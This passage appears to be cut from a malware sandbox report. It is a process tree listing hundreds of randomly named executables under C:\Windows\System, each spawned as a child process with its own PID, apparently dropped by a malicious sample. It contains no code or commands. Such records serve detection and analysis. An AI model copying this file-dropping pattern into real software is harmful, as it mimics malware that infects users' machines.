- C:\Windows\System\xNaekYp.exe
  C:\Windows\System\xNaekYp.exe
  2⤵
  PID:4040
- C:\Windows\System\dSjlZnd.exe
  C:\Windows\System\dSjlZnd.exe
  2⤵
  PID:4052
- C:\Windows\System\pgpHSdM.exe
  C:\Windows\System\pgpHSdM.exe
  2⤵
  PID:2276
- C:\Windows\System\ZKEYaXd.exe
  C:\Windows\System\ZKEYaXd.exe
  2⤵
  PID:752
- C:\Windows\System\AfpWwKo.exe
  C:\Windows\System\AfpWwKo.exe
  2⤵
  PID:3104
- C:\Windows\System\sJdpNBe.exe
  C:\Windows\System\sJdpNBe.exe
  2⤵
  PID:3092
- C:\Windows\System\uWYwCMX.exe
  C:\Windows\System\uWYwCMX.exe
  2⤵
  PID:1592
- C:\Windows\System\vBpmpOz.exe
  C:\Windows\System\vBpmpOz.exe
  2⤵
  PID:2156
- C:\Windows\System\HXDHjiB.exe
  C:\Windows\System\HXDHjiB.exe
  2⤵
  PID:3116
- C:\Windows\System\cRZflwZ.exe
  C:\Windows\System\cRZflwZ.exe
  2⤵
  PID:2684
- C:\Windows\System\LDQOmZP.exe
  C:\Windows\System\LDQOmZP.exe
  2⤵
  PID:3508
- C:\Windows\System\ZughisH.exe
  C:\Windows\System\ZughisH.exe
  2⤵
  PID:3388
- C:\Windows\System\xukFuGj.exe
  C:\Windows\System\xukFuGj.exe
  2⤵
  PID:3540
- C:\Windows\System\XTsdaCY.exe
  C:\Windows\System\XTsdaCY.exe
  2⤵
  PID:3244
- C:\Windows\System\AbhYsZD.exe
  C:\Windows\System\AbhYsZD.exe
  2⤵
  PID:3140
- C:\Windows\System\mvfOiUu.exe
  C:\Windows\System\mvfOiUu.exe
  2⤵
  PID:4008
- C:\Windows\System\uCbJCvp.exe
  C:\Windows\System\uCbJCvp.exe
  2⤵
  PID:1148
- C:\Windows\System\RdPSeeT.exe
  C:\Windows\System\RdPSeeT.exe
  2⤵
  PID:3828
- C:\Windows\System\TByZxYZ.exe
  C:\Windows\System\TByZxYZ.exe
  2⤵
  PID:4024
- C:\Windows\System\HJRMYUa.exe
  C:\Windows\System\HJRMYUa.exe
  2⤵
  PID:2136
- C:\Windows\System\pMZdluO.exe
  C:\Windows\System\pMZdluO.exe
  2⤵
  PID:2596
- C:\Windows\System\BtnYbuz.exe
  C:\Windows\System\BtnYbuz.exe
  2⤵
  PID:2628
- C:\Windows\System\aRxPREU.exe
  C:\Windows\System\aRxPREU.exe
  2⤵
  PID:2472
- C:\Windows\System\OcxGDEZ.exe
  C:\Windows\System\OcxGDEZ.exe
  2⤵
  PID:2620
- C:\Windows\System\rHhitoK.exe
  C:\Windows\System\rHhitoK.exe
  2⤵
  PID:3076
- C:\Windows\System\qmaeVRV.exe
  C:\Windows\System\qmaeVRV.exe
  2⤵
  PID:1964
- C:\Windows\System\bgeeSxo.exe
  C:\Windows\System\bgeeSxo.exe
  2⤵
  PID:1720
- C:\Windows\System\bXnDLZA.exe
  C:\Windows\System\bXnDLZA.exe
  2⤵
  PID:2948
- C:\Windows\System\IkWAsIE.exe
  C:\Windows\System\IkWAsIE.exe
  2⤵
  PID:3232
- C:\Windows\System\Msiqtjb.exe
  C:\Windows\System\Msiqtjb.exe
  2⤵
  PID:3288
- C:\Windows\System\QzLmfIM.exe
  C:\Windows\System\QzLmfIM.exe
  2⤵
  PID:3276
- C:\Windows\System\dGfaslP.exe
  C:\Windows\System\dGfaslP.exe
  2⤵
  PID:3448
- C:\Windows\System\vmABhsq.exe
  C:\Windows\System\vmABhsq.exe
  2⤵
  PID:3296
- C:\Windows\System\ICSXCNq.exe
  C:\Windows\System\ICSXCNq.exe
  2⤵
  PID:3896
- C:\Windows\System\WMWoYsb.exe
  C:\Windows\System\WMWoYsb.exe
  2⤵
  PID:2412
- C:\Windows\System\zJdrQwN.exe
  C:\Windows\System\zJdrQwN.exe
  2⤵
  PID:3812
- C:\Windows\System\cSHPlbZ.exe
  C:\Windows\System\cSHPlbZ.exe
  2⤵
  PID:1712
- C:\Windows\System\WAbfCxu.exe
  C:\Windows\System\WAbfCxu.exe
  2⤵
  PID:1800
- C:\Windows\System\tKyxtmk.exe
  C:\Windows\System\tKyxtmk.exe
  2⤵
  PID:592
- C:\Windows\System\BQnGmlY.exe
  C:\Windows\System\BQnGmlY.exe
  2⤵
  PID:2716
- C:\Windows\System\BmnGewY.exe
  C:\Windows\System\BmnGewY.exe
  2⤵
  PID:3972
- C:\Windows\System\ucJdyzF.exe
  C:\Windows\System\ucJdyzF.exe
  2⤵
  PID:1384
- C:\Windows\System\vHcyzgI.exe
  C:\Windows\System\vHcyzgI.exe
  2⤵
  PID:3936
- C:\Windows\System\ataxWRL.exe
  C:\Windows\System\ataxWRL.exe
  2⤵
  PID:3616
- C:\Windows\System\RvZLznp.exe
  C:\Windows\System\RvZLznp.exe
  2⤵
  PID:3656
- C:\Windows\System\TYlNRkr.exe
  C:\Windows\System\TYlNRkr.exe
  2⤵
  PID:896
- C:\Windows\System\jcEUUeo.exe
  C:\Windows\System\jcEUUeo.exe
  2⤵
  PID:564
- C:\Windows\System\ALzMsCT.exe
  C:\Windows\System\ALzMsCT.exe
  2⤵
  PID:3620
- C:\Windows\System\KyvDKOi.exe
  C:\Windows\System\KyvDKOi.exe
  2⤵
  PID:2440
- C:\Windows\System\upDhjxY.exe
  C:\Windows\System\upDhjxY.exe
  2⤵
  PID:828
- C:\Windows\System\rxHZhfr.exe
  C:\Windows\System\rxHZhfr.exe
  2⤵
  PID:3268
- C:\Windows\System\YoJTrdt.exe
  C:\Windows\System\YoJTrdt.exe
  2⤵
  PID:2488
- C:\Windows\System\zfIvWLL.exe
  C:\Windows\System\zfIvWLL.exe
  2⤵
  PID:3200
- C:\Windows\System\IwfRjaL.exe
  C:\Windows\System\IwfRjaL.exe
  2⤵
  PID:1432
- C:\Windows\System\NzePOHD.exe
  C:\Windows\System\NzePOHD.exe
  2⤵
  PID:3964
- C:\Windows\System\pWduaLz.exe
  C:\Windows\System\pWduaLz.exe
  2⤵
  PID:1452
- C:\Windows\System\GijOXXV.exe
  C:\Windows\System\GijOXXV.exe
  2⤵
  PID:3692
- C:\Windows\System\ZNKmYkr.exe
  C:\Windows\System\ZNKmYkr.exe
  2⤵
  PID:1704
- C:\Windows\System\NSkteoc.exe
  C:\Windows\System\NSkteoc.exe
  2⤵
  PID:2324
- C:\Windows\System\mxyNjed.exe
  C:\Windows\System\mxyNjed.exe
  2⤵
  PID:3924
- C:\Windows\System\bsZHWUf.exe
  C:\Windows\System\bsZHWUf.exe
  2⤵
  PID:3192
- C:\Windows\System\mbOkeXX.exe
  C:\Windows\System\mbOkeXX.exe
  2⤵
  PID:1656
- C:\Windows\System\gkeDRVf.exe
  C:\Windows\System\gkeDRVf.exe
  2⤵
  PID:3660
- C:\Windows\System\AeEGvwg.exe
  C:\Windows\System\AeEGvwg.exe
  2⤵
  PID:3768
- C:\Windows\System\rMUVyaf.exe
  C:\Windows\System\rMUVyaf.exe
  2⤵
  PID:2192
- C:\Windows\System\JTYwkMY.exe
  C:\Windows\System\JTYwkMY.exe
  2⤵
  PID:3968
- C:\Windows\System\nikkRMu.exe
  C:\Windows\System\nikkRMu.exe
  2⤵
  PID:3308
- C:\Windows\System\fvNwcti.exe
  C:\Windows\System\fvNwcti.exe
  2⤵
  PID:3416
- C:\Windows\System\REptwrM.exe
  C:\Windows\System\REptwrM.exe
  2⤵
  PID:1836
- C:\Windows\System\gYhHHOd.exe
  C:\Windows\System\gYhHHOd.exe
  2⤵
  PID:3636
- C:\Windows\System\yrbeGQf.exe
  C:\Windows\System\yrbeGQf.exe
  2⤵
  PID:2116
- C:\Windows\System\gElGuGc.exe
  C:\Windows\System\gElGuGc.exe
  2⤵
  PID:3576
- C:\Windows\System\DFdCRHu.exe
  C:\Windows\System\DFdCRHu.exe
  2⤵
  PID:3712
- C:\Windows\System\UwNoIfT.exe
  C:\Windows\System\UwNoIfT.exe
  2⤵
  PID:3648
- C:\Windows\System\lWyrwpK.exe
  C:\Windows\System\lWyrwpK.exe
  2⤵
  PID:2624
- C:\Windows\System\SRaWEws.exe
  C:\Windows\System\SRaWEws.exe
  2⤵
  PID:4084
- C:\Windows\System\wBitRxV.exe
  C:\Windows\System\wBitRxV.exe
  2⤵
  PID:3704
- C:\Windows\System\MqDFvbt.exe
  C:\Windows\System\MqDFvbt.exe
  2⤵
  PID:4104
- C:\Windows\System\JKQQGQK.exe
  C:\Windows\System\JKQQGQK.exe
  2⤵
  PID:4124
- C:\Windows\System\NbBWHJA.exe
  C:\Windows\System\NbBWHJA.exe
  2⤵
  PID:4140
- C:\Windows\System\ZSrdYCH.exe
  C:\Windows\System\ZSrdYCH.exe
  2⤵
  PID:4164
- C:\Windows\System\NAcSHeJ.exe
  C:\Windows\System\NAcSHeJ.exe
  2⤵
  PID:4180
- C:\Windows\System\yQXUmNz.exe
  C:\Windows\System\yQXUmNz.exe
  2⤵
  PID:4204
- C:\Windows\System\nIbSisX.exe
  C:\Windows\System\nIbSisX.exe
  2⤵
  PID:4224
- C:\Windows\System\wftdndB.exe
  C:\Windows\System\wftdndB.exe
  2⤵
  PID:4240
- C:\Windows\System\ypoPsoV.exe
  C:\Windows\System\ypoPsoV.exe
  2⤵
  PID:4256
- C:\Windows\System\izjiDuF.exe
  C:\Windows\System\izjiDuF.exe
  2⤵
  PID:4272
- C:\Windows\System\arnBFBu.exe
  C:\Windows\System\arnBFBu.exe
  2⤵
  PID:4288
- C:\Windows\System\jtXFZOm.exe
  C:\Windows\System\jtXFZOm.exe
  2⤵
  PID:4304
- C:\Windows\System\CbQQXbK.exe
  C:\Windows\System\CbQQXbK.exe
  2⤵
  PID:4320
- C:\Windows\System\gfXYJEh.exe
  C:\Windows\System\gfXYJEh.exe
  2⤵
  PID:4336
- C:\Windows\System\xPynFyd.exe
  C:\Windows\System\xPynFyd.exe
  2⤵
  PID:4356
- C:\Windows\System\BTGckQW.exe
  C:\Windows\System\BTGckQW.exe
  2⤵
  PID:4376
- C:\Windows\System\LlAcemV.exe
  C:\Windows\System\LlAcemV.exe
  2⤵
  PID:4392
- C:\Windows\System\FQLcwyL.exe
  C:\Windows\System\FQLcwyL.exe
  2⤵
  PID:4408
- C:\Windows\System\LBLwdqB.exe
  C:\Windows\System\LBLwdqB.exe
  2⤵
  PID:4464
- C:\Windows\System\dBjSwaW.exe
  C:\Windows\System\dBjSwaW.exe
  2⤵
  PID:4488
- C:\Windows\System\ZcxxvJz.exe
  C:\Windows\System\ZcxxvJz.exe
  2⤵
  PID:4508
- C:\Windows\System\pgzBndU.exe
  C:\Windows\System\pgzBndU.exe
  2⤵
  PID:4528
- C:\Windows\System\eosERAx.exe
  C:\Windows\System\eosERAx.exe
  2⤵
  PID:4548
- C:\Windows\System\pEAYzGL.exe
  C:\Windows\System\pEAYzGL.exe
  2⤵
  PID:4564
- C:\Windows\System\iLHrlTj.exe
  C:\Windows\System\iLHrlTj.exe
  2⤵
  PID:4584
- C:\Windows\System\OkGzwAO.exe
  C:\Windows\System\OkGzwAO.exe
  2⤵
  PID:4616
- C:\Windows\System\qGWzHBN.exe
  C:\Windows\System\qGWzHBN.exe
  2⤵
  PID:4632
- C:\Windows\System\nFQKTHY.exe
  C:\Windows\System\nFQKTHY.exe
  2⤵
  PID:4648
- C:\Windows\System\RhxLduw.exe
  C:\Windows\System\RhxLduw.exe
  2⤵
  PID:4680
- C:\Windows\System\lqKhOFV.exe
  C:\Windows\System\lqKhOFV.exe
  2⤵
  PID:4696
- C:\Windows\System\bYZkSOC.exe
  C:\Windows\System\bYZkSOC.exe
  2⤵
  PID:4716
- C:\Windows\System\mVOIqOH.exe
  C:\Windows\System\mVOIqOH.exe
  2⤵
  PID:4736
- C:\Windows\System\eJrRAcI.exe
  C:\Windows\System\eJrRAcI.exe
  2⤵
  PID:4752
- C:\Windows\System\XuzOeUL.exe
  C:\Windows\System\XuzOeUL.exe
  2⤵
  PID:4776
- C:\Windows\System\RPfYeQT.exe
  C:\Windows\System\RPfYeQT.exe
  2⤵
  PID:4792
- C:\Windows\System\ZGfdRWu.exe
  C:\Windows\System\ZGfdRWu.exe
  2⤵
  PID:4820
- C:\Windows\System\QINEqKI.exe
  C:\Windows\System\QINEqKI.exe
  2⤵
  PID:4836
- C:\Windows\System\szeMoqt.exe
  C:\Windows\System\szeMoqt.exe
  2⤵
  PID:4852
- C:\Windows\System\apTJcgy.exe
  C:\Windows\System\apTJcgy.exe
  2⤵
  PID:4872
- C:\Windows\System\oDVOKos.exe
  C:\Windows\System\oDVOKos.exe
  2⤵
  PID:4896
- C:\Windows\System\RbRNmJY.exe
  C:\Windows\System\RbRNmJY.exe
  2⤵
  PID:4920
- C:\Windows\System\mNeGbjr.exe
  C:\Windows\System\mNeGbjr.exe
  2⤵
  PID:4940
- C:\Windows\System\MgTLYsq.exe
  C:\Windows\System\MgTLYsq.exe
  2⤵
  PID:4956
- C:\Windows\System\wOHZOjc.exe
  C:\Windows\System\wOHZOjc.exe
  2⤵
  PID:4980
- C:\Windows\System\VljFDOh.exe
  C:\Windows\System\VljFDOh.exe
  2⤵
  PID:5000
- C:\Windows\System\eAaSzBa.exe
  C:\Windows\System\eAaSzBa.exe
  2⤵
  PID:5020
- C:\Windows\System\gZGxikH.exe
  C:\Windows\System\gZGxikH.exe
  2⤵
  PID:5040
- C:\Windows\System\nidAqIG.exe
  C:\Windows\System\nidAqIG.exe
  2⤵
  PID:5056
- C:\Windows\System\sWyVGJo.exe
  C:\Windows\System\sWyVGJo.exe
  2⤵
  PID:5084
- C:\Windows\System\sIyfPjj.exe
  C:\Windows\System\sIyfPjj.exe
  2⤵
  PID:5100
- C:\Windows\System\OuScVDl.exe
  C:\Windows\System\OuScVDl.exe
  2⤵
  PID:5116
- C:\Windows\System\dzYYjNp.exe
  C:\Windows\System\dzYYjNp.exe
  2⤵
  PID:4100
- C:\Windows\System\YiFWDeo.exe
  C:\Windows\System\YiFWDeo.exe
  2⤵
  PID:3528
- C:\Windows\System\MfMWrPu.exe
  C:\Windows\System\MfMWrPu.exe
  2⤵
  PID:4172
- C:\Windows\System\VgPaEgW.exe
  C:\Windows\System\VgPaEgW.exe
  2⤵
  PID:4212
- C:\Windows\System\jfoGtsy.exe
  C:\Windows\System\jfoGtsy.exe
  2⤵
  PID:4268
- C:\Windows\System\UeKCbgv.exe
  C:\Windows\System\UeKCbgv.exe
  2⤵
  PID:4188
- C:\Windows\System\NJArzEb.exe
  C:\Windows\System\NJArzEb.exe
  2⤵
  PID:4300
- C:\Windows\System\DNnNPWJ.exe
  C:\Windows\System\DNnNPWJ.exe
  2⤵
  PID:4400
- C:\Windows\System\XegqIRS.exe
  C:\Windows\System\XegqIRS.exe
  2⤵
  PID:4252
- C:\Windows\System\qkNnQaD.exe
  C:\Windows\System\qkNnQaD.exe
  2⤵
  PID:4384
- C:\Windows\System\bthowzB.exe
  C:\Windows\System\bthowzB.exe
  2⤵
  PID:4316
- C:\Windows\System\XYlnUaY.exe
  C:\Windows\System\XYlnUaY.exe
  2⤵
  PID:4524
- C:\Windows\System\UKbwJEw.exe
  C:\Windows\System\UKbwJEw.exe
  2⤵
  PID:4560
- C:\Windows\System\xgcJCie.exe
  C:\Windows\System\xgcJCie.exe
  2⤵
  PID:4448
- C:\Windows\System\cnmPMST.exe
  C:\Windows\System\cnmPMST.exe
  2⤵
  PID:4572
- C:\Windows\System\fsjpPps.exe
  C:\Windows\System\fsjpPps.exe
  2⤵
  PID:4536
- C:\Windows\System\sRbQYbo.exe
  C:\Windows\System\sRbQYbo.exe
  2⤵
  PID:4660
- C:\Windows\System\zYEgolP.exe
  C:\Windows\System\zYEgolP.exe
  2⤵
  PID:4640
- C:\Windows\System\BgRjMrc.exe
  C:\Windows\System\BgRjMrc.exe
  2⤵
  PID:4672
- C:\Windows\System\mbbpilI.exe
  C:\Windows\System\mbbpilI.exe
  2⤵
  PID:4692
- C:\Windows\System\qTMyyYA.exe
  C:\Windows\System\qTMyyYA.exe
  2⤵
  PID:4768
- C:\Windows\System\fkbhoYf.exe
  C:\Windows\System\fkbhoYf.exe
  2⤵
  PID:4812
- C:\Windows\System\gORPmHA.exe
  C:\Windows\System\gORPmHA.exe
  2⤵
  PID:4788
- C:\Windows\System\AcJbjyV.exe
  C:\Windows\System\AcJbjyV.exe
  2⤵
  PID:4860
- C:\Windows\System\zmnwIgN.exe
  C:\Windows\System\zmnwIgN.exe
  2⤵
  PID:4884
- C:\Windows\System\taIpWBw.exe
  C:\Windows\System\taIpWBw.exe
  2⤵
  PID:4908
- C:\Windows\System\pMxorxy.exe
  C:\Windows\System\pMxorxy.exe
  2⤵
  PID:4936
- C:\Windows\System\bnSFNFx.exe
  C:\Windows\System\bnSFNFx.exe
  2⤵
  PID:4948
- C:\Windows\System\zRaqZEO.exe
  C:\Windows\System\zRaqZEO.exe
  2⤵
  PID:4968
- C:\Windows\System\npnRtTK.exe
  C:\Windows\System\npnRtTK.exe
  2⤵
  PID:5016
- C:\Windows\System\pHuUVPT.exe
  C:\Windows\System\pHuUVPT.exe
  2⤵
  PID:5112
- C:\Windows\System\udKlhHx.exe
  C:\Windows\System\udKlhHx.exe
  2⤵
  PID:4116
- C:\Windows\System\MTPkKrk.exe
  C:\Windows\System\MTPkKrk.exe
  2⤵
  PID:4404
- C:\Windows\System\xIvKMYG.exe
  C:\Windows\System\xIvKMYG.exe
  2⤵
  PID:3808
- C:\Windows\System\QniHwXI.exe
  C:\Windows\System\QniHwXI.exe
  2⤵
  PID:4420
- C:\Windows\System\OrAOgCs.exe
  C:\Windows\System\OrAOgCs.exe
  2⤵
  PID:4600
- C:\Windows\System\FQMtVxr.exe
  C:\Windows\System\FQMtVxr.exe
  2⤵
  PID:4232
- C:\Windows\System\athMrme.exe
  C:\Windows\System\athMrme.exe
  2⤵
  PID:4472
- C:\Windows\System\GKljPVB.exe
  C:\Windows\System\GKljPVB.exe
  2⤵
  PID:4348
- C:\Windows\System\ENUHgIb.exe
  C:\Windows\System\ENUHgIb.exe
  2⤵
  PID:4556
- C:\Windows\System\lUOORck.exe
  C:\Windows\System\lUOORck.exe
  2⤵
  PID:4456
- C:\Windows\System\egFPRhI.exe
  C:\Windows\System\egFPRhI.exe
  2⤵
  PID:4444
- C:\Windows\System\ABioTrF.exe
  C:\Windows\System\ABioTrF.exe
  2⤵
  PID:4732
- C:\Windows\System\VTIcvcM.exe
  C:\Windows\System\VTIcvcM.exe
  2⤵
  PID:4504
- C:\Windows\System\xEHcyAy.exe
  C:\Windows\System\xEHcyAy.exe
  2⤵
  PID:4624
- C:\Windows\System\OFCqWBk.exe
  C:\Windows\System\OFCqWBk.exe
  2⤵
  PID:4580
- C:\Windows\System\ZZtGtaN.exe
  C:\Windows\System\ZZtGtaN.exe
  2⤵
  PID:4868
- C:\Windows\System\EJZuZHR.exe
  C:\Windows\System\EJZuZHR.exe
  2⤵
  PID:4964
- C:\Windows\System\EdcjWsk.exe
  C:\Windows\System\EdcjWsk.exe
  2⤵
  PID:4656
- C:\Windows\System\nxzSRDS.exe
  C:\Windows\System\nxzSRDS.exe
  2⤵
  PID:4972
- C:\Windows\System\eDrjqfN.exe
  C:\Windows\System\eDrjqfN.exe
  2⤵
  PID:5048
- C:\Windows\System\MutgQse.exe
  C:\Windows\System\MutgQse.exe
  2⤵
  PID:5068
- C:\Windows\System\LwtLeJa.exe
  C:\Windows\System\LwtLeJa.exe
  2⤵
  PID:4216
- C:\Windows\System\SDMzWxb.exe
  C:\Windows\System\SDMzWxb.exe
  2⤵
  PID:4280
- C:\Windows\System\qyMzYWp.exe
  C:\Windows\System\qyMzYWp.exe
  2⤵
  PID:4352
- C:\Windows\System\tkIuOkR.exe
  C:\Windows\System\tkIuOkR.exe
  2⤵
  PID:4544
- C:\Windows\System\GlFAjtT.exe
  C:\Windows\System\GlFAjtT.exe
  2⤵
  PID:4784
- C:\Windows\System\bObPisU.exe
  C:\Windows\System\bObPisU.exe
  2⤵
  PID:4928
- C:\Windows\System\QFAwBHg.exe
  C:\Windows\System\QFAwBHg.exe
  2⤵
  PID:5132
- C:\Windows\System\OZjoDDl.exe
  C:\Windows\System\OZjoDDl.exe
  2⤵
  PID:5152
- C:\Windows\System\NmkjrAj.exe
  C:\Windows\System\NmkjrAj.exe
  2⤵
  PID:5168
- C:\Windows\System\BUvDRZF.exe
  C:\Windows\System\BUvDRZF.exe
  2⤵
  PID:5188
- C:\Windows\System\rBEtEgH.exe
  C:\Windows\System\rBEtEgH.exe
  2⤵
  PID:5212
- C:\Windows\System\HPDlcNL.exe
  C:\Windows\System\HPDlcNL.exe
  2⤵
  PID:5228
- C:\Windows\System\UustKKd.exe
  C:\Windows\System\UustKKd.exe
  2⤵
  PID:5244
- C:\Windows\System\VCciOTS.exe
  C:\Windows\System\VCciOTS.exe
  2⤵
  PID:5312
- C:\Windows\System\acxNPVR.exe
  C:\Windows\System\acxNPVR.exe
  2⤵
  PID:5336
- C:\Windows\System\nthYGwg.exe
  C:\Windows\System\nthYGwg.exe
  2⤵
  PID:5356
- C:\Windows\System\TgaFtcU.exe
  C:\Windows\System\TgaFtcU.exe
  2⤵
  PID:5372
- C:\Windows\System\dgBhhgk.exe
  C:\Windows\System\dgBhhgk.exe
  2⤵
  PID:5396
- C:\Windows\System\VYxbXrt.exe
  C:\Windows\System\VYxbXrt.exe
  2⤵
  PID:5412
- C:\Windows\System\gXdawZj.exe
  C:\Windows\System\gXdawZj.exe
  2⤵
  PID:5428
- C:\Windows\System\DfkaOdW.exe
  C:\Windows\System\DfkaOdW.exe
  2⤵
  PID:5456
- C:\Windows\System\euEkcdv.exe
  C:\Windows\System\euEkcdv.exe
  2⤵
  PID:5476
- C:\Windows\System\WnxWCSm.exe
  C:\Windows\System\WnxWCSm.exe
  2⤵
  PID:5492
- C:\Windows\System\grGVfNs.exe
  C:\Windows\System\grGVfNs.exe
  2⤵
  PID:5508
- C:\Windows\System\ukLtEvv.exe
  C:\Windows\System\ukLtEvv.exe
  2⤵
  PID:5524
- C:\Windows\System\TDJjyat.exe
  C:\Windows\System\TDJjyat.exe
  2⤵
  PID:5540
- C:\Windows\System\xljVLwo.exe
  C:\Windows\System\xljVLwo.exe
  2⤵
  PID:5556
- C:\Windows\System\LbbaAJc.exe
  C:\Windows\System\LbbaAJc.exe
  2⤵
  PID:5620
- C:\Windows\System\MFZlTlk.exe
  C:\Windows\System\MFZlTlk.exe
  2⤵
  PID:5636
- C:\Windows\System\PxTeisP.exe
  C:\Windows\System\PxTeisP.exe
  2⤵
  PID:5652
- C:\Windows\System\NqUeVTI.exe
  C:\Windows\System\NqUeVTI.exe
  2⤵
  PID:5668
- C:\Windows\System\mZQAFoY.exe
  C:\Windows\System\mZQAFoY.exe
  2⤵
  PID:5684
- C:\Windows\System\athDQiV.exe
  C:\Windows\System\athDQiV.exe
  2⤵
  PID:5700
- C:\Windows\System\sLjJlBs.exe
  C:\Windows\System\sLjJlBs.exe
  2⤵
  PID:5716
- C:\Windows\System\EjhcsAs.exe
  C:\Windows\System\EjhcsAs.exe
  2⤵
  PID:5744
- C:\Windows\System\UzRkJeZ.exe
  C:\Windows\System\UzRkJeZ.exe
  2⤵
  PID:5760
- C:\Windows\System\TnrrgBr.exe
  C:\Windows\System\TnrrgBr.exe
  2⤵
  PID:5776
- C:\Windows\System\COUstbc.exe
  C:\Windows\System\COUstbc.exe
  2⤵
  PID:5796
- C:\Windows\System\uKUwmQp.exe
  C:\Windows\System\uKUwmQp.exe
  2⤵
  PID:5816
- C:\Windows\System\mvcLvWY.exe
  C:\Windows\System\mvcLvWY.exe
  2⤵
  PID:5832
- C:\Windows\System\UXNTZbn.exe
  C:\Windows\System\UXNTZbn.exe
  2⤵
  PID:5848
- C:\Windows\System\iOfImeu.exe
  C:\Windows\System\iOfImeu.exe
  2⤵
  PID:5864
- C:\Windows\System\jPwMvwU.exe
  C:\Windows\System\jPwMvwU.exe
  2⤵
  PID:5884
- C:\Windows\System\AfwNOiN.exe
  C:\Windows\System\AfwNOiN.exe
  2⤵
  PID:5900
- C:\Windows\System\eukTmRa.exe
  C:\Windows\System\eukTmRa.exe
  2⤵
  PID:5916
- C:\Windows\System\rhwOljy.exe
  C:\Windows\System\rhwOljy.exe
  2⤵
  PID:5932
- C:\Windows\System\UZZOjPD.exe
  C:\Windows\System\UZZOjPD.exe
  2⤵
  PID:5948
- C:\Windows\System\SpixdOb.exe
  C:\Windows\System\SpixdOb.exe
  2⤵
  PID:5968
- C:\Windows\System\SGQMUjM.exe
  C:\Windows\System\SGQMUjM.exe
  2⤵
  PID:6084
- C:\Windows\System\jDQiiGQ.exe
  C:\Windows\System\jDQiiGQ.exe
  2⤵
  PID:6108
- C:\Windows\System\zfvWZaq.exe
  C:\Windows\System\zfvWZaq.exe
  2⤵
  PID:6124
- C:\Windows\System\oOmNVHS.exe
  C:\Windows\System\oOmNVHS.exe
  2⤵
  PID:6140
- C:\Windows\System\PbELeLb.exe
  C:\Windows\System\PbELeLb.exe
  2⤵
  PID:4540
- C:\Windows\System\qVHSdLA.exe
  C:\Windows\System\qVHSdLA.exe
  2⤵
  PID:5176
- C:\Windows\System\eDOUeLo.exe
  C:\Windows\System\eDOUeLo.exe
  2⤵
  PID:5224
- C:\Windows\System\SNloXAR.exe
  C:\Windows\System\SNloXAR.exe
  2⤵
  PID:5264
- C:\Windows\System\nOKDFPz.exe
  C:\Windows\System\nOKDFPz.exe
  2⤵
  PID:5284
- C:\Windows\System\ddubGkj.exe
  C:\Windows\System\ddubGkj.exe
  2⤵
  PID:5296
- C:\Windows\System\haWNzMD.exe
  C:\Windows\System\haWNzMD.exe
  2⤵
  PID:5308
- C:\Windows\System\RxjKohw.exe
  C:\Windows\System\RxjKohw.exe
  2⤵
  PID:4596
- C:\Windows\System\EEGSlzm.exe
  C:\Windows\System\EEGSlzm.exe
  2⤵
  PID:4520
- C:\Windows\System\YwbrpoQ.exe
  C:\Windows\System\YwbrpoQ.exe
  2⤵
  PID:4604
- C:\Windows\System\HkhzVmZ.exe
  C:\Windows\System\HkhzVmZ.exe
  2⤵
  PID:4668
- C:\Windows\System\myNUFSB.exe
  C:\Windows\System\myNUFSB.exe
  2⤵
  PID:4688
- C:\Windows\System\rPQGPRV.exe
  C:\Windows\System\rPQGPRV.exe
  2⤵
  PID:5124
- C:\Windows\System\ANcxBjl.exe
  C:\Windows\System\ANcxBjl.exe
  2⤵
  PID:5352
- C:\Windows\System\nTiWAxv.exe
  C:\Windows\System\nTiWAxv.exe
  2⤵
  PID:5388
- C:\Windows\System\sBQhMoZ.exe
  C:\Windows\System\sBQhMoZ.exe
  2⤵
  PID:5468
- C:\Windows\System\cMRoGgh.exe
  C:\Windows\System\cMRoGgh.exe
  2⤵
  PID:5536
- C:\Windows\System\OxXkNtc.exe
  C:\Windows\System\OxXkNtc.exe
  2⤵
  PID:4988
- C:\Windows\System\ReICSiZ.exe
  C:\Windows\System\ReICSiZ.exe
  2⤵
  PID:5580
- C:\Windows\System\xhlpeIO.exe
  C:\Windows\System\xhlpeIO.exe
  2⤵
  PID:5324
- C:\Windows\System\JUbGofU.exe
  C:\Windows\System\JUbGofU.exe
  2⤵
  PID:5592
- C:\Windows\System\SiyiJSV.exe
  C:\Windows\System\SiyiJSV.exe
  2⤵
  PID:5404
- C:\Windows\System\cduNScs.exe
  C:\Windows\System\cduNScs.exe
  2⤵
  PID:5408
- C:\Windows\System\VqKcrXD.exe
  C:\Windows\System\VqKcrXD.exe
  2⤵
  PID:5488
- C:\Windows\System\yIyevxo.exe
  C:\Windows\System\yIyevxo.exe
  2⤵
  PID:5516
- C:\Windows\System\nMKlNsM.exe
  C:\Windows\System\nMKlNsM.exe
  2⤵
  PID:5520
- C:\Windows\System\vsvUqgM.exe
  C:\Windows\System\vsvUqgM.exe
  2⤵
  PID:5788
- C:\Windows\System\dRBXeaW.exe
  C:\Windows\System\dRBXeaW.exe
  2⤵
  PID:5928
- C:\Windows\System\yqHglIU.exe
  C:\Windows\System\yqHglIU.exe
  2⤵
  PID:5892
- C:\Windows\System\hOQiBNw.exe
  C:\Windows\System\hOQiBNw.exe
  2⤵
  PID:5664
- C:\Windows\System\IeplwKc.exe
  C:\Windows\System\IeplwKc.exe
  2⤵
  PID:5880
- C:\Windows\System\orWtRoX.exe
  C:\Windows\System\orWtRoX.exe
  2⤵
  PID:5732
- C:\Windows\System\UYCImDA.exe
  C:\Windows\System\UYCImDA.exe
  2⤵
  PID:5804
- C:\Windows\System\sFSwgEk.exe
  C:\Windows\System\sFSwgEk.exe
  2⤵
  PID:5844
- C:\Windows\System\YtCQOjH.exe
  C:\Windows\System\YtCQOjH.exe
  2⤵
  PID:6000
- C:\Windows\System\iWnkrVC.exe
  C:\Windows\System\iWnkrVC.exe
  2⤵
  PID:6016
- C:\Windows\System\HUqxcRg.exe
  C:\Windows\System\HUqxcRg.exe
  2⤵
  PID:6040
- C:\Windows\System\kRsAVEk.exe
  C:\Windows\System\kRsAVEk.exe
  2⤵
  PID:6052
- C:\Windows\System\VkEVNCj.exe
  C:\Windows\System\VkEVNCj.exe
  2⤵
  PID:6096
- C:\Windows\System\xHvaBdK.exe
  C:\Windows\System\xHvaBdK.exe
  2⤵
  PID:6072
- C:\Windows\System\bjsaHSz.exe
  C:\Windows\System\bjsaHSz.exe
  2⤵
  PID:4848
- C:\Windows\System\dBNdzfc.exe
  C:\Windows\System\dBNdzfc.exe
  2⤵
  PID:5144
- C:\Windows\System\pxFCAog.exe
  C:\Windows\System\pxFCAog.exe
  2⤵
  PID:5304
- C:\Windows\System\HUrYVlW.exe
  C:\Windows\System\HUrYVlW.exe
  2⤵
  PID:4664
